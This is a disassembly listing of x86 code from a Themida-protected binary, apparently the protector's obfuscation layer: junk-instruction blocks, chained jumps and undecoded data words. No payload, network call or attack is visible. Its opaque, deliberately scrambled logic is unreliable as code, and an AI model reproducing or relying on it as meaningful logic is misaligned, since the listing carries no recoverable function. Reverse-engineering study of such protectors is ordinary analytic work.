		add	ebp, 37385342h
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_503521
; ---------------------------------------------------------------------------

loc_5080FB:				; CODE XREF: Themida_:005121FDj
		shl	bh, 4
		sub	bh, 0CBh
		sub	cl, 46h
		add	cl, bh
		add	cl, 46h
		pop	ebx
		shl	cl, 8
		jmp	loc_5130DA
; ---------------------------------------------------------------------------

loc_508112:				; CODE XREF: Themida_:00508DD6j
		neg	eax
		inc	eax
		and	eax, 44260BFBh
		add	eax, 1F8B5E1Dh
		mov	edi, eax
		pop	eax
		push	edx
		mov	edx, 11EE34F6h
		xor	edi, edx
		pop	edx
		and	edi, 79FF6FCBh
		inc	edi
		add	edi, 0FFFFFFFFh
		jmp	loc_51310C
; ---------------------------------------------------------------------------

loc_50813A:				; CODE XREF: Themida_:00511933j
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		push	5598h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	edx, [esp]
		push	esi
		push	368Ch
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		sub	dword ptr [esp+4], 42830C88h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 42830C88h
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_508DCB
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0FEB1B724h, 0CC6EE9C7h, 0DA68FFFFh, 8900004Bh, 5FE9241Ch
		dd 29FFFFCEh, 6A9305F0h, 11E94366h, 0BAFFFF96h,	1A758D5h
		dd 68h,	0B3E3E900h, 815A0000h, 0BDC94AC2h, 7EE957B1h, 0BB000075h
		dd 7DD34F4h, 5BA7E9h, 241C8900h, 0E904EC83h, 0FFFFA87Ah
; ---------------------------------------------------------------------------

loc_508214:				; CODE XREF: Themida_:005019C1j
		push	eax
		jmp	loc_50C4B2
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 55000000h, 3271AA68h, 5AE95D02h, 81FFFFE6h, 4E7506C5h
		dd 0DDF74535h, 0FFB030E9h, 89C789FFh, 89585FFDh, 0C65BE9EBh
		dd 0C890000h, 3B4B924h,	0F3E9290Eh, 21000017h, 243C8BFDh
		dd 8304C483h, 148904ECh, 0DA95E924h, 0C588FFFFh, 2A70E9h
		dd 2474FF00h, 2434FF04h, 66CB6858h, 3C890000h, 52E78924h
		dd 4BAh, 0D09CE900h, 9D2CFFFFh,	50045A66h, 79768h, 242C8900h
		dd 41CFE9h, 264CBA00h, 0EA81612Ch, 0F13A9E0h, 565AD729h
		dd 0B4B8E9h, 53E18900h,	8FBBE9h, 4C38100h, 0E9FFFFFEh
		dd 0C0C2h, 0E904C483h, 1FE5h, 31243C33h, 3C33243Ch, 2CE95C24h
		dd 0FF000069h, 48B2434h, 0C304E924h, 1489FFFFh,	1EB85024h
		dd 0E9102E4Dh, 6985h
; ---------------------------------------------------------------------------

loc_5082F4:				; CODE XREF: Themida_:00505806j
		add	bl, 7Bh
		add	bl, cl
		jmp	loc_507550
; ---------------------------------------------------------------------------

loc_5082FE:				; CODE XREF: Themida_:00510F6Ej
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		and	eax, 750C235Dh
		shr	eax, 8
		add	eax, 0FFAFF803h
		sub	ebp, 33AE15B3h
		add	ebp, eax
		add	ebp, 33AE15B3h
		jmp	loc_50E9CE
; ---------------------------------------------------------------------------

loc_508325:				; CODE XREF: Themida_:00505EA5j
		mov	edi, 381760Eh
		sub	esi, 2CA001ABh
		jmp	loc_50F80A
; ---------------------------------------------------------------------------

loc_508335:				; CODE XREF: Themida_:00514457j
		pop	eax
		push	ebp
		mov	ebp, 1DEA44C1h
		jmp	loc_50BA10
; ---------------------------------------------------------------------------

loc_508341:				; CODE XREF: Themida_:00514B67j
		add	ebx, 71EF1325h
		push	6D46h
		mov	[esp], eax
		mov	eax, 6E040638h
		jmp	loc_507CE6
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 90h
		dd 0E923E115h, 0FFFFAD64h, 27B282Dh, 0F4E8E972h, 34FFFFFFh
		dd 2434FF24h, 0E92434FFh, 67E7h
; ---------------------------------------------------------------------------

loc_50837C:				; CODE XREF: Themida_:0050954Cj
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		push	5A02h
		jmp	loc_50B465
; ---------------------------------------------------------------------------

loc_508391:				; CODE XREF: Themida_:0050D946j
		add	ebx, 7DA71845h
		sub	ebx, 55B22ADAh
		sub	ebx, 480A17EFh
		add	ebx, 19646F90h
		pop	esi
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_513FBE
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 24348700h, 5A24248Bh, 67ECBE56h, 0ED686CE8h, 0E9000061h
		dd 0FFFF91C1h, 0FF743DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5083D9:				; CODE XREF: Themida_:00503A6Cj
		pop	edi
		pop	eax
		mov	eax, 0BE00D42Eh
		sub	eax, ebp
		jmp	loc_50529A
; ---------------------------------------------------------------------------
		db 59h
		dd 47AEF581h, 0C5812BFEh, 9C2DAE73h, 0E95DEF01h, 0FFFFFE57h
		dd 8B24048Fh, 24892424h, 6F6DE924h, 0E9560000h,	7C94h
		dd 4246C81h, 5FCF3809h,	81241C8Bh, 4C4h, 5549E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_508426:				; CODE XREF: Themida_:0050C6EFj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	edi, 889BB4CBh
		and	eax, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_50DB88
; ---------------------------------------------------------------------------
		dw 34FFh
aSbm		db '$題',0
		align 2

loc_50846E:				; CODE XREF: Themida_:00503D0Ej
		mov	edx, [esp]
		jmp	loc_50F685
; ---------------------------------------------------------------------------
		dw 0EDC0h
		dd 9A62E903h, 0BE560000h, 22A24B32h, 28DAC681h,	0D6F76F62h
		dd 5B20EE81h, 0F101D168h, 67EEE9h, 5166AC00h, 8904EC83h
		dd 0B252241Ch, 68C2FE3Fh, 0
		dd 0E9241428h, 0FFFFEA42h, 3B68E289h, 8900007Bh, 0D2BE2434h
		dd 686E5711h, 4B38h, 0B9240C89h, 6E5711CEh, 6859CE29h
		dd 53E1h, 53240C89h, 165C7968h,	0F3815B6Dh, 391E037Fh
		dd 815B5953h, 0D1F744C1h, 8BCA01C3h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_50D8F7
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5BFA0804h, 0E9AFEA80h, 93CAh
; ---------------------------------------------------------------------------

loc_508518:				; CODE XREF: Themida_:00505B8Bj
		mov	ecx, 4
		jmp	loc_50D2F7
; ---------------------------------------------------------------------------

loc_508522:				; CODE XREF: Themida_:00514658j
		mov	[esp], edi
		jmp	loc_50EDC4
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 41ABBF57h
		dd 16E95F8Dh, 66000039h, 90C68058h, 0E930F680h,	0A1CDh
		dd 4F59CF89h, 0EF81D7F7h, 37BF2EB8h, 0FF8B76E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_508569:				; CODE XREF: Themida_:0050EE86j
		mov	[esp], eax
		jmp	loc_50BB67
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 4
		dd 5C243487h, 34FF5456h, 0EE0FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_508582:				; CODE XREF: Themida_:00509572j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_4FF816
; ---------------------------------------------------------------------------

loc_50858B:				; CODE XREF: Themida_:00511868j
		add	esp, 4
		add	ebx, 2BEC583Dh
		sub	ebx, ebp
		sub	ebx, 2BEC583Dh
		push	dword ptr [esp]
		pop	ebp
		push	ebx
		jmp	loc_509422
; ---------------------------------------------------------------------------
		dw 7968h
		dd 5E30A030h, 3AE9D6F7h, 5900002Ah, 51E9C981h, 0B85057D7h
		dd 6B956E1Bh, 9149A205h, 5D0F767h, 0FFFFFFFFh, 0FFFFFF2Dh
		dd 3811E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5085D6:				; CODE XREF: Themida_:004FFEA7j
		shl	ebp, 8
		jmp	loc_508E39
; ---------------------------------------------------------------------------

loc_5085DE:				; CODE XREF: Themida_:0050C056j
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		sub	edi, 75161DE0h
		add	edi, ebx
		jmp	loc_50E189
; ---------------------------------------------------------------------------

loc_5085F4:				; CODE XREF: Themida_:0050E56Cj
		push	edi
		push	10CFh
		jmp	loc_5029E3
; ---------------------------------------------------------------------------

loc_5085FF:				; CODE XREF: Themida_:0050348Ej
		push	esi
		mov	esi, 5C97176Bh
		add	[esp+8], esi
		pop	esi
		pop	ebx
		add	[esp], eax
		jmp	loc_5067B8
; ---------------------------------------------------------------------------

loc_508613:				; CODE XREF: Themida_:00503D7Dj
		pop	edx
		sub	ebp, 3A514E19h
		add	eax, ebp
		jmp	loc_50A966
; ---------------------------------------------------------------------------
		db 5Ah,	2Dh, 0EBh
		dd 5D1EF47Fh, 131AE953h, 0C5BB0000h, 436D662Ch,	83F9E9h
		dd 4EC8300h, 0BF00E9h, 2CC9B700h, 53F828C3h, 41E9C9B3h
		dd 6800003Dh, 5258h, 468E9h, 71B8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50865E:				; CODE XREF: Themida_:00500CF2j
		add	esp, 4
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_50C204
; ---------------------------------------------------------------------------

loc_508680:				; CODE XREF: Themida_:0050C8BBj
		push	dword ptr [esp]
		pop	ebp
		push	199Bh
		mov	[esp], esi
		push	70A8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	478Fh
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_510D1A
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 0A2E0E9h
		db 0
; ---------------------------------------------------------------------------

loc_5086C1:				; CODE XREF: Themida_:00513CBEj
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_5029D7
; ---------------------------------------------------------------------------

loc_5086CF:				; CODE XREF: Themida_:0050FE9Cj
		mov	[esp], ecx
		jmp	loc_501F26
; ---------------------------------------------------------------------------
a1S7		db '17',0
		align 2
		dw 0BD55h
		dd 42B80E14h, 815DEB21h, 0C91AECE3h, 16E9563Ch,	55FFFF7Fh
		dd 2BB85052h, 0F7342274h, 60F725D8h, 0D0F7411Ch, 0FFD9FCE9h
		dd 0E9B92CFFh, 3103h, 0B8E9EAB6h, 1FFFF9Ch, 243C8BFDh
		dd 4C481h, 6F210000h, 2434FF1Ch, 0B0C4E95Dh, 57590000h
		dd 0D5476CBFh, 0F39BE93Ah, 0C481FFFFh, 4, 34FFF030h, 24148B24h
		dd 8304C483h, 0EB8004C4h, 4DB65273h, 0E945B450h, 0FFFFAFC2h
; ---------------------------------------------------------------------------

loc_50875C:				; CODE XREF: Themida_:004FF9D0j
		add	al, bl
		add	al, 17h
		mov	bx, [esp]
		add	esp, 2
		add	al, 0EAh
		sub	al, bl
		jmp	loc_50E28E
; ---------------------------------------------------------------------------
		db 54h
		dd 4C5815Dh, 51000000h,	4B9h, 69C58100h, 130F826h, 41ADE9CDh
		dd 74290000h, 0BD550824h, 5F6D1009h, 0C246C01h,	0FFC73DE9h
		dd 4C681FFh, 56000000h,	42474FFh, 0FFE70AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5087B1:				; CODE XREF: Themida_:005029D2j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 24h
		jmp	loc_503F42
; ---------------------------------------------------------------------------
		dd 1342CB81h, 41E95C6Eh, 81000040h, 2132D6C5h, 5DEB01A0h
		dd 1BE56h, 7EE90000h, 29FFFF98h, 0F0295EF0h, 60DC505h
		dd 8D20E91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5087FE:				; CODE XREF: Themida_:0050262Fj
		mov	[esp], edx
		mov	edx, 3CEE0E71h
		jmp	loc_507E56
; ---------------------------------------------------------------------------

loc_50880B:				; CODE XREF: Themida_:00513107j
		mov	bx, [esp]
		add	esp, 2
		push	6E9Fh
		mov	[esp], ecx
		push	ebx
		push	eax
		push	edx
		mov	dl, 2
		mov	al, dl
		pop	edx
		xor	al, 3Eh
		jmp	loc_512DC6
; ---------------------------------------------------------------------------

loc_50882C:				; CODE XREF: Themida_:00509E8Bj
		push	esi
		mov	esi, 3CE23BD3h
		add	edi, esi
		pop	esi
		push	esi
		mov	esi, 1365076Dh
		sub	esi, 0E753B83Fh
		sub	edi, esi
		pop	esi
		pop	ebp
		xor	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shr	esi, 2
		shl	esi, 5
		add	esi, 0A379E540h
		jmp	loc_505083
; ---------------------------------------------------------------------------

loc_508862:				; CODE XREF: Themida_:0050DBD7j
		sub	[esp], ebp
		jmp	loc_505F1F
; ---------------------------------------------------------------------------

loc_50886A:				; CODE XREF: Themida_:005129D5j
		mov	[esp], ebx
		jmp	loc_50C707
; ---------------------------------------------------------------------------
		dw 0BBAh
		dd 0C13E9E5Eh, 5AE905EAh, 80000003h, 9504E5EFh,	952CF828h
		dd 733CE9h
		db 0
; ---------------------------------------------------------------------------

loc_50888D:				; CODE XREF: Themida_:00500082j
		push	5F26h
		mov	[esp], edx
		mov	edx, esp
		push	70F3h
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		push	dword ptr [esp]
		jmp	loc_50787E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E1E92404h, 68FFFF87h, 1F94h, 8F6CE9h, 0C7EA8100h, 8B531D32h
		dd 0B6E92404h, 81FFFF9Bh, 0F718C4F6h, 9B40E90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5088DA:				; CODE XREF: Themida_:0050EDDDj
		pop	eax
		jmp	loc_501705
; ---------------------------------------------------------------------------
		dd 0EC83D801h, 242C8904h, 616DE9BDh
		db 27h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5050A5
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0BA525124h, 37ED5038h, 4E1FE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50890E:				; CODE XREF: Themida_:0050E19Aj
		sub	edi, edx
		mov	edx, [esp]
		push	ebp
		jmp	loc_5074C3
; ---------------------------------------------------------------------------

loc_508919:				; CODE XREF: Themida_:0050EFF9j
		sub	ebx, 5B743805h
		push	4726h
		mov	[esp], ecx
		mov	ecx, 3DFD4940h
		jmp	loc_508046
; ---------------------------------------------------------------------------

loc_508931:				; CODE XREF: Themida_:00508006j
		push	1AC700ABh
		pop	ebx
		sub	ebx, 52862C1Eh
		mov	[edi+20h], ebx
		pop	ebx
		push	eax
		push	esi
		push	71800220h
		mov	esi, [esp]
		jmp	loc_511892
; ---------------------------------------------------------------------------

loc_508950:				; CODE XREF: Themida_:00506069j
		mov	edx, [esp]
		push	1E2Fh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	esi
		jmp	loc_502819
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 7C9A413Eh, 8124148Bh, 4C4h, 3DDC6800h, 34890000h, 3AE46824h
		dd 515E34B9h, 6D2CB850h, 36E96B0Dh
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50899F:				; CODE XREF: Themida_:005130C6j
		sub	edx, eax
		pop	eax
		sub	edx, 3FF1745Fh
		shr	edx, 2
		jmp	$+5
		add	edx, 0FFFFFFFFh
		add	edx, 65FD0D8Ah
		or	edx, 2C890862h
		add	edx, 0A21AC082h
		sub	ebx, 65277CBDh
		jmp	loc_506BCE
; ---------------------------------------------------------------------------
aZLSI		db '<$$$鼈',0
		align 2

loc_5089DE:				; CODE XREF: Themida_:00509994j
		push	619Ch
		jmp	loc_500355
; ---------------------------------------------------------------------------
		dd 0E95BD989h, 0FFFF9B4Fh
; ---------------------------------------------------------------------------

loc_5089F0:				; CODE XREF: Themida_:00504BBDj
		mov	bh, 87h
		mov	al, 0C5h
		sub	al, bh
		pop	ebx
		mov	bl, al
		pop	eax
		push	2C28h
		mov	[esp], edx
		push	ecx
		jmp	loc_50C2CC
; ---------------------------------------------------------------------------

loc_508A08:				; CODE XREF: Themida_:005028AAj
		pop	esp
		jmp	loc_50DA48
; ---------------------------------------------------------------------------
		dw 0BBBAh
		dd 0E9209910h, 0A453h
; ---------------------------------------------------------------------------

loc_508A18:				; CODE XREF: Themida_:0050E8CDj
		mov	ebp, 680B3354h
		add	dword ptr [esp+4], 56802007h
		add	dword ptr [esp+4], 2A715CC7h
		jmp	loc_505A32
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 2C8B0424h, 4C48124h,	0E9000000h, 4E54h, 2414895Ch, 0C680ABB6h
		dd 5E6C06Eh, 8001C680h,	62E917E6h, 33000058h, 1C31241Ch
		dd 241C3324h, 0D324248Bh, 0E99C2424h, 5AB0h, 0AB7679BDh
		dd 81DDF75Ah, 0B97973C5h, 8AC0E9ACh, 4310000h, 24043324h
		dd 0D3CE9h, 81E58900h, 4C5h, 4ED8300h, 0E9242C87h, 7228h
		dd 0E2E9C329h, 5A000070h, 5A2CE9h
		db 0
; ---------------------------------------------------------------------------

loc_508AAD:				; CODE XREF: Themida_:005125A5j
		sub	ecx, edi
		mov	edi, [esp]
		push	ebp
		jmp	loc_505B82
; ---------------------------------------------------------------------------
aIYzs		db 'YZ>',0
		dd 48F5400h, 584CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_508ACA:				; CODE XREF: Themida_:00509196j
		sub	ebp, esi
		pop	esi
		sub	ebp, 784106CCh
		and	eax, ebp
		pop	ebp
		jmp	loc_5106C0
; ---------------------------------------------------------------------------

loc_508ADB:				; CODE XREF: Themida_:0050B1A2j
		pop	eax
		push	ebx
		mov	ebx, 6EA76186h
		jmp	loc_50E48B
; ---------------------------------------------------------------------------

loc_508AE7:				; CODE XREF: Themida_:00510164j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_5080CF
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0B05066DBh, 0FDC38006h, 0FF877DE9h, 240481FFh, 4, 0F3E9505Ah
		dd 0FF00006Bh, 8DE92434h, 810000B9h, 232C21F6h,	20BDE935h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_508B22:				; CODE XREF: Themida_:0050A16Aj
		push	0
		jmp	loc_513CF3
; ---------------------------------------------------------------------------
		dd 0EF81F701h, 2B27100Fh, 5E26C781h, 815E0A62h,	2C7h, 243C8700h
		dd 0AFA2E95Ch, 489FFFFh, 56585424h, 4BEh, 5EF00100h, 8704E883h
		dd 895C2404h, 0E189240Ch, 4C181h, 0E9550000h, 0FFFFD76Ch
; ---------------------------------------------------------------------------

loc_508B70:				; CODE XREF: Themida_:00505E4Bj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_507B48
; ---------------------------------------------------------------------------

loc_508B7B:				; CODE XREF: Themida_:00511852j
		mov	ecx, [esp]
		jmp	loc_508FB3
; ---------------------------------------------------------------------------

loc_508B83:				; CODE XREF: Themida_:0050D6D9j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_509435
; ---------------------------------------------------------------------------
		db 66h
		dd 50240C8Bh, 0FFA649E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_508BA9:				; CODE XREF: Themida_:00505B61j
		mov	[esp], edi
		push	ebx
		push	4F9B6EF0h
		jmp	loc_512B2D
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4822459Dh, 5A5DEB29h, 6F5AE952h, 1C33FFFFh, 241C3124h
		dd 8463E9h, 24348900h, 4DB0E9h,	0EA814200h, 7D67151Ah
		dd 2214BE56h, 0C2817DBFh, 55936D84h, 0EA81F201h, 55936D84h
		dd 4EC815Eh, 89000000h,	37B82404h, 56429C7Dh, 0B86C6EBEh
		dd 7C68144h, 0E90C3BF4h, 106Ah,	42474FFh, 81241C8Bh, 4C4h
		dd 24048F00h, 0E924248Bh, 0FFFF6BEAh
; ---------------------------------------------------------------------------

loc_508C2C:				; CODE XREF: Themida_:00514947j
		mov	[esp], ebx
		mov	ebx, 23AB2915h
		add	esi, ebx
		pop	ebx
		jmp	loc_5104B1
; ---------------------------------------------------------------------------
		dd 2669B850h, 67E919FFh, 8B000000h, 0C483240Ch,	76D66804h
		dd 4890000h, 4EC8124h, 89000000h, 5FE92424h, 29FFFFEBh
		dd 18C381EBh, 81555E6Dh, 97E1BC3h, 4DE9504Bh, 5D0000B6h
		dd 3304C783h, 3C31243Ch, 243C3324h, 3734E9h
		db 0
; ---------------------------------------------------------------------------

loc_508C89:				; CODE XREF: Themida_:00505106j
		sub	edi, 7B3436Fh
		jmp	loc_509A6B
; ---------------------------------------------------------------------------

loc_508C94:				; CODE XREF: Themida_:00509D9Fj
		push	dword ptr [esp]
		jmp	loc_50F7BD
; ---------------------------------------------------------------------------
		dd 8059EF88h, 81B6D6F7h, 0BCC680h, 0A639E9FEh, 0D8F70000h
		dd 5AB8E9h, 2C48300h, 0E9EF8166h, 4EC8323h, 66240489h
		dd 6653F889h, 91E9C389h, 87000028h, 835C240Ch, 896602ECh
		dd 14F62414h, 0C05A6624h, 68E907E2h, 31000080h,	0BF575BD9h
		dd 0FFFFFFFFh, 1EADE981h, 0F9016547h, 1EADC181h, 3C8B6547h
		dd 4C48124h, 0C1000000h, 0EEE902E1h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_508D0F:				; CODE XREF: Themida_:005105D5j
		pop	eax
		jmp	loc_50B699
; ---------------------------------------------------------------------------

loc_508D15:				; CODE XREF: Themida_:00512EC5j
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_505C4C
; ---------------------------------------------------------------------------
		dd 5DA1EF81h, 335E4524h, 3C31243Ch, 243C3324h, 0E924248Bh
		dd 2A0h
; ---------------------------------------------------------------------------

loc_508D40:				; CODE XREF: Themida_:004FFE26j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		push	2071h
		mov	[esp], edi
		push	40216454h
		jmp	loc_512C64
; ---------------------------------------------------------------------------
		db 5Dh
		dd 1EE81h, 0CE810000h, 8E35B78h, 4E4BF681h, 49E97D34h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_508D77:				; CODE XREF: Themida_:0050D8E7j
		pop	esp
		add	esp, 4
		push	ebp
		push	ebx
		jmp	loc_5029BB
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8987E9h, 81F52900h, 4A5342EDh, 7EED8105h, 5E79F06Fh
		dd 8101C583h, 7F1486EDh, 0B8505740h, 711E5747h,	89C18951h
		dd 48B59CFh, 0E0895024h, 65FFE9h, 24248B00h, 4A30F66h
		dd 4BE99C24h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_508DCB:				; CODE XREF: Themida_:005081B9j
		push	eax
		mov	eax, 7752506Eh
		sub	eax, 2F2410CDh
		jmp	loc_508112
; ---------------------------------------------------------------------------

loc_508DDB:				; CODE XREF: Themida_:00512F67j
		xor	dword ptr [esp], 11DC6280h
		pop	ebp
		xor	ebp, 11DC6280h
		pop	ebx
		and	ecx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	0D2Eh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_50EBCD
; ---------------------------------------------------------------------------

loc_508E0B:				; CODE XREF: Themida_:00501166j
		add	ebp, 0DBFFA90Bh
		add	eax, 77C336CEh
		jmp	loc_511902
; ---------------------------------------------------------------------------
		db 0BDh
		dd 5E404E6h, 4EC81h, 34890000h,	3A5BE24h, 0F68141D4h, 44453426h
		dd 987BE9h
		db 0
; ---------------------------------------------------------------------------

loc_508E39:				; CODE XREF: Themida_:005085D9j
		or	ebp, 553F2445h
		push	edi
		jmp	loc_5026A2
; ---------------------------------------------------------------------------
aZSvj		db '<$Vj',0
		dd 4D00000h, 28E8E99Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_508E56:				; CODE XREF: Themida_:00501F6Ej
		pop	esi
		jmp	loc_50EF37
; ---------------------------------------------------------------------------
		dd 148BF528h, 4C48124h,	88000000h, 2434FFEBh, 0E3895359h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 668468h, 0AB40E900h
		dd 248B0000h, 0EC815124h, 4, 54242C89h,	0CEE9575Dh, 59000085h
		dd 704E181h, 81E91A4Ch
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_508EAB:				; CODE XREF: Themida_:00509810j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_509EC7
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 4C2815Ch, 0E9000000h, 0FFFF6C92h
; ---------------------------------------------------------------------------

loc_508EC4:				; CODE XREF: Themida_:00501A7Cj
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_501206
; ---------------------------------------------------------------------------

loc_508ECF:				; CODE XREF: Themida_:0050A294j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_50F95A
; ---------------------------------------------------------------------------

loc_508EDE:				; CODE XREF: Themida_:00512020j
		push	7149h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_50BADD
; ---------------------------------------------------------------------------
		dd 0DFE9F801h, 8100005Dh, 4C7h,	4EF8300h, 2474FF57h, 48F5F04h
		dd 0ABE95C24h, 0BB000067h, 228270FDh, 0FF8222E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_508F25:				; CODE XREF: Themida_:0050ED73j
		push	esi
		mov	esi, 6D0D54E3h
		jmp	loc_5001E0
; ---------------------------------------------------------------------------

loc_508F30:				; CODE XREF: Themida_:0050390Cj
		xor	[esp], edx
		jmp	loc_50EC3E
; ---------------------------------------------------------------------------

loc_508F38:				; CODE XREF: Themida_:0050D91Bj
		and	esi, 4F2B7680h
		dec	esi
		xor	esi, 263D0315h
		xor	esi, 19533992h
		add	edx, esi
		pop	esi
		add	edx, 5CC66A4h
		jmp	loc_50A41C
; ---------------------------------------------------------------------------
		db 59h,	58h, 0E9h
		dd 0FFFFA9B1h, 361068h,	242C8900h, 0DA39B1BDh, 246C2919h
		dd 6C815D08h, 40EF0424h, 6C2910EAh, 0B8500424h,	10EA40EFh
		dd 8244401h, 24448158h,	0DA39B104h, 24448119h, 0B81B4404h
		dd 2434FF09h, 63CDE9h, 2C78300h, 5C243C87h, 805BDE88h
		dd 63E908EEh
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_508FB3:				; CODE XREF: Themida_:00508B7Ej
		add	esp, 4
		jmp	loc_4FFB8C
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2414h, 79FC6824h, 14890000h, 55E28924h, 9D7F11BDh
		dd 0F5814D32h, 329D7F14h, 0E95DEA01h, 0FFFFC51Fh, 0F66F1F6h
		dd 6866CCB6h, 6EE93FA7h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_508FEF:				; CODE XREF: Themida_:0050196Dj
		push	2A29h
		mov	[esp], edi
		mov	edi, 691B0C60h
		not	edi
		push	ebp
		mov	ebp, 96E4F39Bh
		jmp	loc_51156F
; ---------------------------------------------------------------------------

loc_509009:				; CODE XREF: Themida_:0050D36Ej
		sub	esi, 1E3D0CCBh
		sub	esi, ebp
		jmp	loc_5045A4
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BD242C89h, 664C03AFh, 0DD30DC2Dh, 63D3053Dh, 0E801770Ah
		dd 0A63D32Dh, 30DC0577h, 0F7E93DDDh, 89FFFF89h,	69E9243Ch
		dd 0BF0000ACh, 35EE59D1h, 3C8BFD21h, 4C48324h, 249DED81h
		dd 44E9A162h, 890000A2h, 4C781E7h, 53000000h, 0FF9735E9h
